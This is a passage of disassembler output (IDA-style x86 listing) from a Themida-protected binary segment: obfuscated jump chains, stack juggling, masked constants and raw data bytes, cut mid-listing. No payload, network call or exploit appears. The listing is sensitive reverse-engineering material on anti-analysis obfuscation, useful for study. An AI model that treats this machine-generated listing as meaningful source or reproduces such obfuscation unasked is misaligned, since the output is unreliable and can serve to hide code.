		jmp	loc_557F63
; ---------------------------------------------------------------------------

loc_56C5D9:				; CODE XREF: Themida_:loc_569347j
		shl	edi, 4
		js	loc_55D991
		shr	edi, 1
		jmp	loc_56C1AE
; ---------------------------------------------------------------------------
byte_56C5E9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005560BCo
		dd 582434FFh, 4EC81h, 34890000h, 55E68924h, 37F4BF57h
		dd 0FD891BF3h, 0FF247DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C609:				; CODE XREF: Themida_:00569C22j
		mov	[esp], eax
		jmp	loc_55D83A
; ---------------------------------------------------------------------------

loc_56C611:				; CODE XREF: Themida_:00569B22j
		pop	ebp
		push	46D3h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 79F83950h
		sub	edx, ecx
		add	edx, 79F83950h
		push	5B40h
		mov	[esp], edx
		xor	dword ptr [esp], 5B9F69DBh
		pop	ecx
		xor	ecx, 5B9F69DBh
		mov	edx, [esp]
		push	2674h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55AD26
; ---------------------------------------------------------------------------

loc_56C66A:				; CODE XREF: Themida_:005591DEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5600E0
; ---------------------------------------------------------------------------

loc_56C67E:				; CODE XREF: Themida_:0055E384j
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	5285h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_56D1E7
; ---------------------------------------------------------------------------

loc_56C6A4:				; CODE XREF: Themida_:00562591j
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56349E
; ---------------------------------------------------------------------------

loc_56C6B9:				; CODE XREF: Themida_:00568385j
		pop	ebp
		push	eax
		jmp	loc_56D740
; ---------------------------------------------------------------------------
		dd 8102EDC1h, 0FFFFFFEDh, 0C5814DFFh, 0E672D569h, 0DCE9E829h
		dd 53FFFEB5h, 0BE56E389h, 4, 348BF301h,	0BA77E924h, 4B9FFFFh
		dd 81000000h, 0D27823EFh, 81CF016Eh, 0D27823C7h, 0CB68596Eh
		dd 8900002Fh, 71E9240Ch
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C70B:				; CODE XREF: Themida_:0055A50Fj
		pop	ecx
		jmp	loc_556C67
; ---------------------------------------------------------------------------

loc_56C711:				; CODE XREF: Themida_:0055EE44j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_565F66
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 7CE92434h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C723:				; CODE XREF: Themida_:00565B2Fj
		mov	edx, 6E9006DAh
		jmp	loc_55649E
; ---------------------------------------------------------------------------
byte_56C72D	db 8Fh,	47h, 40h	; DATA XREF: Themida_:00556118o
		dd 0FEF4BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C735:				; CODE XREF: Themida_:005589A8j
		add	bl, 82h
		add	bl, 0D5h
		sub	bl, dh
		jmp	loc_56110F
; ---------------------------------------------------------------------------

loc_56C742:				; CODE XREF: Themida_:005603CFj
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_561D69
; ---------------------------------------------------------------------------

loc_56C754:				; CODE XREF: Themida_:005606E8j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	ecx
		push	edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55E172
; ---------------------------------------------------------------------------

loc_56C76A:				; CODE XREF: Themida_:0055BAB2j
		sub	ch, 6Ah
		sub	bh, 16h
		add	bh, ch
		add	bh, 16h
		pop	ecx
		sub	dl, bh
		pop	ebx
		jmp	loc_55CACC
; ---------------------------------------------------------------------------

loc_56C77E:				; CODE XREF: Themida_:0056232Ej
		add	esp, 2
		jmp	loc_567625
; ---------------------------------------------------------------------------

loc_56C789:				; CODE XREF: Themida_:00561AA2j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 61F18104h, 0F7D153Dh, 0FFBD138Ch, 7E9C1FFh, 0B9BE850Fh
		dd 0D931FFFEh, 0D931CB31h, 0D931D3F7h, 0F101CB31h, 81D9015Eh
		dd 906FA6E9h, 81415B68h, 37D4FDC1h, 7DC681A8h, 81713F23h
		dd 1F22CEEEh, 6062E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C7D6:				; CODE XREF: Themida_:00564A4Fj
		add	esp, 4
		push	esi
		mov	esi, 78E85D3Ah
		or	esi, 0F3603DDh
		jmp	loc_564257
; ---------------------------------------------------------------------------

loc_56C7EA:				; CODE XREF: Themida_:0055DC68j
		mov	edi, [esp]
		jmp	loc_55C3A1
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0AC0329F6h, 0FF3BD7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C7FD:				; CODE XREF: Themida_:00560732j
		push	3DC478A8h
		pop	edi
		not	edi
		sub	edi, 0C23B8753h
		mov	esi, edi
		pop	edi
		add	edx, 2B7481Bh
		sub	edx, esi
		sub	edx, 2B7481Bh
		jmp	loc_5582E0
; ---------------------------------------------------------------------------

loc_56C821:				; CODE XREF: Themida_:00564A94j
		add	esp, 4
		pop	ebx
		push	0
		sub	dword ptr [esp], 6BE44DFCh
		sub	[esp], ebx
		jmp	loc_557D1A
; ---------------------------------------------------------------------------

loc_56C839:				; CODE XREF: Themida_:005574B0j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56A555
; ---------------------------------------------------------------------------

loc_56C84B:				; CODE XREF: Themida_:loc_55BCDFj
		jmp	loc_55F3FA
; ---------------------------------------------------------------------------

loc_56C850:				; CODE XREF: Themida_:00563C90j
		add	edx, 4
		jmp	loc_55B466
; ---------------------------------------------------------------------------

loc_56C85B:				; CODE XREF: Themida_:0056302Aj
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mul	ecx
		push	3D04h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55CE43
; ---------------------------------------------------------------------------
		db 52h
		dd 410EE9BAh, 0E9505136h, 0FFFEFC73h
; ---------------------------------------------------------------------------

loc_56C880:				; CODE XREF: Themida_:00566663j
		add	esp, 4
		or	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56C88F:				; CODE XREF: Themida_:00563464j
		add	ebp, 23EB033Fh
		pop	edx
		add	ebp, 0C48E3CBFh
		add	ecx, 0DA66372h
		add	ecx, ebp
		sub	ecx, 0DA66372h
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ebx, 8E6F1F5Dh
		jmp	loc_55C7DF
; ---------------------------------------------------------------------------

loc_56C8BF:				; CODE XREF: Themida_:0056CD24j
		add	esp, 4
		sub	ebp, esi
		add	ebp, 334B7F31h
		sub	ebp, 19535EC7h
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561D98
; ---------------------------------------------------------------------------

loc_56C8E0:				; CODE XREF: Themida_:005646C9j
		or	esi, 7F263479h
		sub	esi, 26395FD9h
		jmp	loc_562CD9
; ---------------------------------------------------------------------------
aLS		db '▀$$И(',0Dh,0
		db 0
; ---------------------------------------------------------------------------

loc_56C8F9:				; CODE XREF: Themida_:005594E0j
		mov	ebx, [esp]
		push	edi
		jmp	loc_55C145
; ---------------------------------------------------------------------------

loc_56C902:				; CODE XREF: Themida_:00562756j
		jl	loc_560E0E
		jmp	loc_56D123
; ---------------------------------------------------------------------------

loc_56C90D:				; CODE XREF: Themida_:0055E830j
		mov	ebx, 31BC12F5h
		xor	ebx, 74E170D0h
		add	edi, ebx
		jmp	loc_55C48B
; ---------------------------------------------------------------------------

loc_56C91F:				; CODE XREF: Themida_:00558F0Fj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_565E38
; ---------------------------------------------------------------------------
		db 68h,	47h, 67h
		dd 24890000h, 24048124h, 4, 4C18159h, 53000000h, 8D7117BBh
		dd 13F38118h, 1188D71h,	0C875BD9h, 24248B24h, 4EC81h, 14890000h
		dd 3D42BA24h, 0E9500A8Bh, 0FFFF17FCh
; ---------------------------------------------------------------------------

loc_56C96C:				; CODE XREF: Themida_:0056A23Aj
		add	ebp, 4
		sub	ebp, 4
		push	5AA2h
		jmp	loc_560A9D
; ---------------------------------------------------------------------------

loc_56C97F:				; CODE XREF: Themida_:0056025Dj
		shl	ebx, 3
		js	loc_56334C
		shl	ebx, 3
		jnz	loc_5643B6
		jmp	loc_5696F1
; ---------------------------------------------------------------------------
		dw 8157h
		dd 4C7h, 4C78100h, 87000000h, 65E9243Ch
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C9AB:				; CODE XREF: Themida_:loc_563E87j
		add	eax, 25CDC29Bh
		mov	edx, eax
		jmp	loc_56BE0D
; ---------------------------------------------------------------------------

loc_56C9B7:				; CODE XREF: Themida_:00556408j
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_55EB17
; ---------------------------------------------------------------------------

loc_56C9C6:				; CODE XREF: Themida_:0056A374j
		mov	eax, 6CB1228Fh
		dec	eax
		jl	loc_55DF0B
		jmp	loc_56A17F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 5E904E1h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C9DF:				; CODE XREF: Themida_:00564906j
		push	ax
		push	6E95h
		mov	[esp], edx
		jmp	loc_5648FA
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6830000h, 24348704h, 0FFE750E9h, 28E95EFFh
		db 0EDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CA07:				; CODE XREF: Themida_:0056D12Fj
		sub	esi, 59523A54h
		jnb	loc_56823A
		jmp	loc_56C481
; ---------------------------------------------------------------------------
		dd 80240C8Bh
		db 0CEh, 0F5h, 5Eh
byte_56CA1F	db 0FFh			; DATA XREF: Themida_:0055615Co
		dd 0FF042474h, 68582434h, 684h,	89241C89h, 555356E3h, 92009CBDh
		dd 5DEB8919h, 1C8BDE89h, 0B2DDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CA46:				; CODE XREF: Themida_:00557A4Aj
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		add	edx, 2
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56D5FE
; ---------------------------------------------------------------------------

loc_56CA63:				; CODE XREF: Themida_:0055850Bj
		push	eax
		mov	eax, 562D389Eh
		jmp	loc_561A6B
; ---------------------------------------------------------------------------

loc_56CA6E:				; CODE XREF: Themida_:0056550Cj
		push	4746h
		mov	[esp], edx
		mov	edx, 3DD33B91h
		sub	[esp+8], edx
		jmp	loc_55D3E0
; ---------------------------------------------------------------------------

loc_56CA84:				; CODE XREF: Themida_:0055696Aj
		sub	al, 33h
		push	edx
		mov	dh, 0DDh
		add	al, dh
		jmp	loc_56BAE6
; ---------------------------------------------------------------------------

loc_56CA90:				; CODE XREF: Themida_:0055CFEAj
		add	edx, ebx
		jmp	loc_559C5A
; ---------------------------------------------------------------------------

loc_56CA97:				; CODE XREF: Themida_:00564D8Bj
		mov	[esp], edi
		push	edx
		mov	edx, 414A72D4h
		push	edx
		jmp	loc_565972
; ---------------------------------------------------------------------------

loc_56CAA6:				; CODE XREF: Themida_:0056028Fj
		mov	esi, 299D4847h
		jmp	loc_5647E6
; ---------------------------------------------------------------------------

loc_56CAB0:				; CODE XREF: Themida_:loc_568CE3j
		neg	bl
		jmp	loc_5684E7
; ---------------------------------------------------------------------------

loc_56CAB7:				; CODE XREF: Themida_:005688D5j
					; Themida_:0056AA64j
		or	edi, 407D2007h
		push	ecx
		push	48461FA0h
		pop	ecx
		jmp	loc_562624
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 0E9h
		dd 0FFFF91B4h
; ---------------------------------------------------------------------------

loc_56CAD0:				; CODE XREF: Themida_:0056750Cj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56A379
; ---------------------------------------------------------------------------
		db 89h
		dd 5A542414h, 2E83BF57h, 48E91E61h
		db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CAF7:				; CODE XREF: Themida_:00561354j
		pop	ecx
		jmp	loc_5573DB
; ---------------------------------------------------------------------------

loc_56CAFD:				; CODE XREF: Themida_:00564DD6j
		add	esp, 4
		jmp	loc_557FA9
; ---------------------------------------------------------------------------
		dd 3E05F005h, 242C8B1Ah, 81E78957h, 4C7h, 4C78300h, 0E9243C87h
		dd 0FFFFBF47h
; ---------------------------------------------------------------------------

loc_56CB24:				; CODE XREF: Themida_:00565D53j
		pop	eax
		sub	eax, 7AC25B04h
		sub	eax, esi
		add	eax, 7AC25B04h
		pop	esi
		jmp	loc_5675B7
; ---------------------------------------------------------------------------
		db 81h
		dd 200A9BF6h, 0EBEDE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CB42:				; CODE XREF: Themida_:0055AD43j
		and	dh, 0F3h
		jg	loc_558DE4
		and	dh, 8Dh
		jnp	loc_55FE53
		sub	dh, 42h
		pop	edx

loc_56CB58:				; CODE XREF: Themida_:00569DA7j
		push	eax
		mov	al, 8Eh
		jmp	loc_55D891
; ---------------------------------------------------------------------------
		dd 0EE81585Eh, 0E7142C71h, 348BF529h, 4C48324h,	242C8155h
		dd 1A3E05F0h, 0FEAD25E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CB7D:				; CODE XREF: Themida_:0056535Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56491C
; ---------------------------------------------------------------------------

loc_56CB8A:				; CODE XREF: Themida_:00560032j
		sub	edi, 7F7DFDEFh
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		jmp	loc_55E34B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 80BE5650h, 0B85EC065h, 77DA4BDFh, 0F75EF031h
		dd 0D1A535D8h, 0EE81D6E5h, 56A814EBh, 0FFE108E9h, 0E5E950FFh
		dd 89FFFED3h, 0BAA8E9E7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CBD6:				; CODE XREF: Themida_:005580DBj
		sub	ecx, 1591418h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_56638C
; ---------------------------------------------------------------------------

loc_56CBE4:				; CODE XREF: Themida_:0055F774j
		mov	ecx, [esp]
		jmp	loc_5671E2
; ---------------------------------------------------------------------------

loc_56CBEC:				; CODE XREF: Themida_:0056CC00j
		pop	esp
		mov	[esp], eax
		mov	eax, 29F52D9Eh
		jmp	loc_559F59
; ---------------------------------------------------------------------------

loc_56CBFA:				; CODE XREF: Themida_:00564853j
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_56CBEC
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0E9h
		dd 0FFFFD8C6h
; ---------------------------------------------------------------------------

loc_56CC0C:				; CODE XREF: Themida_:00556B00j
		push	768Ch
		mov	[esp], eax
		jmp	loc_558CAE
; ---------------------------------------------------------------------------

loc_56CC19:				; CODE XREF: Themida_:00564869j
		xchg	ebp, [esp]
		jmp	loc_55CE8D
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 0EB81FB29h, 133B0992h, 81243C8Bh, 4C4h, 74FF5300h, 1C8B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 24148924h, 0FE9696E9h
		dd 241489FFh, 0D9BB3BAh, 0AC1AE93Ch, 0E181FFFFh, 619A5D94h
		dd 3622C981h, 0CDE97A0Bh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CC6F:				; CODE XREF: Themida_:0055C046j
		pop	ecx
		sub	esp, 4
		jmp	loc_564337
; ---------------------------------------------------------------------------

loc_56CC78:				; CODE XREF: Themida_:005580A4j
		add	esp, 4
		push	7F39h
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_557E08
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8904EC83h, 2BE2434h,	2D000000h, 56507C3Dh, 3D05F001h
		dd 5E56507Ch, 0FFDA5AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CCBD:				; CODE XREF: Themida_:00560EDDj
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_55AF89
; ---------------------------------------------------------------------------

loc_56CCD3:				; CODE XREF: Themida_:0055F157j
		add	esi, edi
		pop	edi
		jmp	loc_569984
; ---------------------------------------------------------------------------

loc_56CCDB:				; CODE XREF: Themida_:00563166j
		sub	edx, 7AD33454h
		jmp	loc_55BFCE
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E681E924h, 5668FFFFh, 89000059h, 0DC68240Ch, 5911524Eh
		dd 0F708E1C1h, 20C981D1h, 0C173F90Ah, 0EC8304E9h, 3A25E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CD12:				; CODE XREF: Themida_:00561765j
		add	edi, eax
		jmp	loc_568F66
; ---------------------------------------------------------------------------

loc_56CD19:				; CODE XREF: Themida_:0055B4B4j
					; Themida_:0055EB61j
		push	edx
		mov	edx, 334B7F31h
		sub	ebp, edx
		mov	edx, [esp]
		jmp	loc_56C8BF
; ---------------------------------------------------------------------------

loc_56CD29:				; CODE XREF: Themida_:0055F9C0j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56CD67:				; CODE XREF: Themida_:0055BC8Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ecx, esi
		jmp	loc_557BDA
; ---------------------------------------------------------------------------

loc_56CD78:				; CODE XREF: Themida_:0055AA2Dj
		push	eax
		mov	eax, 5F855DC0h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		not	ebx
		or	ebx, 125D6E9Ah
		not	ebx
		add	ebx, 678265EEh
		xor	ecx, ebx
		pop	ebx
		inc	ecx
		push	edx
		mov	edx, 577033ECh
		xor	ecx, edx
		jmp	loc_560E64
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 16606723h, 0E9E9D601h, 68FFFED1h, 44Ch, 0E9241489h
		dd 0FFFFBBB0h
; ---------------------------------------------------------------------------

loc_56CDC4:				; CODE XREF: Themida_:00567C92j
		xor	edi, 22CB867Fh
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 51C868D5h
		push	esi
		mov	esi, 0E7B5FA63h
		sub	ebp, esi
		pop	esi
		sub	esi, ebp
		pop	ebp
		add	edx, esi
		jmp	loc_55E18A
; ---------------------------------------------------------------------------

loc_56CDEE:				; CODE XREF: Themida_:00562B01j
		mov	[esp], edi
		jmp	loc_55EE98
; ---------------------------------------------------------------------------

loc_56CDF6:				; CODE XREF: Themida_:0056646Bj
		add	ebx, 2E2D1CC8h
		add	ebx, edx
		sub	ebx, 2E2D1CC8h
		pop	edx
		push	0E2Bh
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_565F7E
; ---------------------------------------------------------------------------
		db 1
		dd 0C4BA52D0h, 0F73FC469h, 0EC8342D2h, 242C8904h, 948B19BDh
		dd 8BEA2975h, 8957242Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 0D0295C24h, 8324148Bh, 616804C4h, 89000016h,	0EC83240Ch
		dd 0E545E904h, 0EE01FFFFh, 0CFCEE81h, 815D2EF0h, 4EEh
		dd 24348700h, 58BCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CE72:				; CODE XREF: Themida_:005610A8j
		pop	ebp
		sub	eax, 4D046A2Bh
		jmp	loc_563322
; ---------------------------------------------------------------------------
		db 20h,	0C7h, 58h
		dd 0FECA54E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CE85:				; CODE XREF: Themida_:0055F098j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	7B90h
		mov	[esp], ebx
		mov	bh, 35h
		jmp	loc_5579ED
; ---------------------------------------------------------------------------

loc_56CEA3:				; CODE XREF: Themida_:00563C46j
					; Themida_:00564061j
		add	bp, 59A4h
		pop	ax
		add	ax, 1322h
		add	ax, 434Ah
		sub	ax, bp
		sub	ax, 434Ah
		jmp	loc_55BEC4
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4EC8124h, 89000000h,	4832424h, 2C8B0424h, 36CBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CED6:				; CODE XREF: Themida_:0056A96Fj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		movzx	ecx, al
		jmp	loc_560AEC
; ---------------------------------------------------------------------------
		dd 77BA525Ch, 81094C53h, 4C5373F2h, 5AD50109h, 777868h
		dd 24048900h, 468h, 24048B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5685D8
; ---------------------------------------------------------------------------

loc_56CF16:				; CODE XREF: Themida_:005670D6j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_557C0D
; ---------------------------------------------------------------------------

loc_56CF21:				; CODE XREF: Themida_:00556CE7j
		push	esi
		push	34FF766Eh
		pop	esi
		and	ecx, esi
		jmp	loc_556703
; ---------------------------------------------------------------------------
		db 5Ah
		dd 31243433h, 34332434h, 1FDEE924h, 0D631FFFFh,	0E9D6F75Ah
		dd 0FFFE942Ah
; ---------------------------------------------------------------------------

loc_56CF48:				; CODE XREF: Themida_:0055CCF4j
		mov	cl, 0E3h
		sub	cl, 63h
		not	cl
		jmp	loc_55998D
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFEA851h, 0FEBCA80h, 0FF1FCF8Ch, 7DCA80FFh
		dd 0FFE8CEE9h, 0FD895EFFh
		db 5Fh,	56h, 55h
; ---------------------------------------------------------------------------

loc_56CF73:				; CODE XREF: Themida_:005590D9j
		push	5168h
		mov	[esp], edx
		mov	dh, 0ACh
		sub	ch, dh
		pop	edx
		sub	ch, 0CAh
		sub	ch, bh
		add	ch, 0CAh
		push	ebx
		mov	bl, 9Ah
		push	eax
		mov	al, 7
		add	al, 9
		add	bl, al
		pop	eax
		push	edx
		mov	dh, 11h
		shl	dh, 1
		inc	dh
		sub	dh, 0BFh
		sub	bl, dh
		jmp	loc_56D530
; ---------------------------------------------------------------------------

loc_56CFA4:				; CODE XREF: Themida_:00560C5Fj
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_56302F
; ---------------------------------------------------------------------------

loc_56CFBA:				; CODE XREF: Themida_:0056AAF0j
		xor	dh, ah
		pop	eax
		shl	dh, 2
		push	ecx
		jmp	loc_566148
; ---------------------------------------------------------------------------

loc_56CFC6:				; CODE XREF: Themida_:00560F52j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5673F0
; ---------------------------------------------------------------------------

loc_56CFD9:				; CODE XREF: Themida_:005666B2j
		jmp	loc_55DAF4
; ---------------------------------------------------------------------------

loc_56CFDE:				; CODE XREF: Themida_:0055EF5Ej
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 65E55373h
		shl	edx, 2
		xor	edx, 2CD60425h
		sub	edx, 0B03409Eh
		sub	edx, 0AFBEBABCh
		sub	eax, 1DF217B3h
		add	eax, edx
		jmp	loc_55F337
; ---------------------------------------------------------------------------

loc_56D008:				; CODE XREF: Themida_:0056760Ej
		movzx	cx, ah
		push	esi
		push	esp
		jmp	loc_56B29B
; ---------------------------------------------------------------------------

loc_56D013:				; CODE XREF: Themida_:0056D762j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 7
		push	esi
		push	edx
		mov	edx, esp
		jmp	loc_558A8E
; ---------------------------------------------------------------------------

loc_56D02E:				; CODE XREF: Themida_:0055A38Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A722
; ---------------------------------------------------------------------------

loc_56D039:				; CODE XREF: Themida_:00567C02j
		add	ebx, 206748EBh
		jmp	loc_563D2B
; ---------------------------------------------------------------------------

loc_56D044:				; CODE XREF: Themida_:0055C91Ej
		add	edi, 0FBFEFDFFh
		mov	edx, edi
		pop	edi
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	7923h
		jmp	loc_55CA9F
; ---------------------------------------------------------------------------

loc_56D06E:				; CODE XREF: Themida_:005670C4j
		push	edx
		push	eax
		mov	eax, 19911949h
		add	eax, 67C670F0h
		jle	loc_5645CE
		shr	eax, 5
		add	eax, 3A0F205Fh
		sub	eax, 715A005Ah
		jle	loc_56B147
		add	eax, 0D726113h
		jmp	loc_56D513
; ---------------------------------------------------------------------------
		db 5Ch,	4Dh, 88h
		dd 328968C4h, 0FCE92BE3h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D0AB:				; CODE XREF: Themida_:00564E31j
		mov	esi, 807F8659h
		add	ebx, esi
		pop	esi
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563D9E
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 3BC7502Dh, 58C101D9h, 0FF3C80E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D0DD:				; CODE XREF: Themida_:0056B35Fj
		pop	esi
		push	eax
		mov	eax, 46570BCFh
		push	ebp
		mov	ebp, 5AB528Ch
		neg	ebp
		sub	ebp, 0CB1A9638h
		and	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5573CB
; ---------------------------------------------------------------------------

loc_56D100:				; CODE XREF: Themida_:005616DEj
					; Themida_:005648F5j
		mov	eax, edx
		pop	edx
		jmp	loc_55F6C7
; ---------------------------------------------------------------------------

loc_56D108:				; CODE XREF: Themida_:005697D9j
		pop	esi
		xor	ebx, 89E2EA56h
		jmp	loc_562596
; ---------------------------------------------------------------------------

loc_56D114:				; CODE XREF: Themida_:00565604j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D103
; ---------------------------------------------------------------------------

loc_56D123:				; CODE XREF: Themida_:0056C908j
		or	esi, 12235B00h
		jb	loc_5594C8
		jmp	loc_56CA07
; ---------------------------------------------------------------------------

loc_56D134:				; CODE XREF: Themida_:0055F2CCj
		xor	edi, 0C5D75CFh
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 628B7E47h
		jmp	loc_55BFFE
; ---------------------------------------------------------------------------

loc_56D15F:				; CODE XREF: Themida_:0055791Dj
		mov	edx, 0A4C2568h
		mov	esi, edx
		pop	edx
		shl	esi, 4
		jmp	loc_55691D
; ---------------------------------------------------------------------------

loc_56D16F:				; CODE XREF: Themida_:00565393j
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55B1AA
; ---------------------------------------------------------------------------

loc_56D17A:				; CODE XREF: Themida_:00556899j
		sub	ebx, 56C25D6Fh
		push	7103h
		mov	[esp], ebx
		jmp	loc_560B39
; ---------------------------------------------------------------------------
		db 2 dup(41h), 0E9h
		dd 0FFFFF65Eh
; ---------------------------------------------------------------------------

loc_56D194:				; CODE XREF: Themida_:0055EE7Ej
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	520h
		mov	[esp], edi
		push	ebp
		push	eax
		mov	eax, 37D12327h
		shl	eax, 7
		jp	loc_5626B8
		not	eax
		not	eax
		sub	eax, 43287ECBh
		sub	eax, 712613F1h
		sub	eax, 613C6BEh
		mov	ebp, eax
		pop	eax
		push	68B3h
		mov	[esp], esi
		jmp	loc_5637DD
; ---------------------------------------------------------------------------

loc_56D1E2:				; CODE XREF: Themida_:0056213Cj
					; Themida_:00564710j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56D1E7:				; CODE XREF: Themida_:0056C69Fj
		add	edi, 3E5248FBh
		add	edi, ebx
		sub	edi, 3E5248FBh
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	4646h
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56D20B:				; CODE XREF: Themida_:0055BC69j
					; Themida_:00560873j
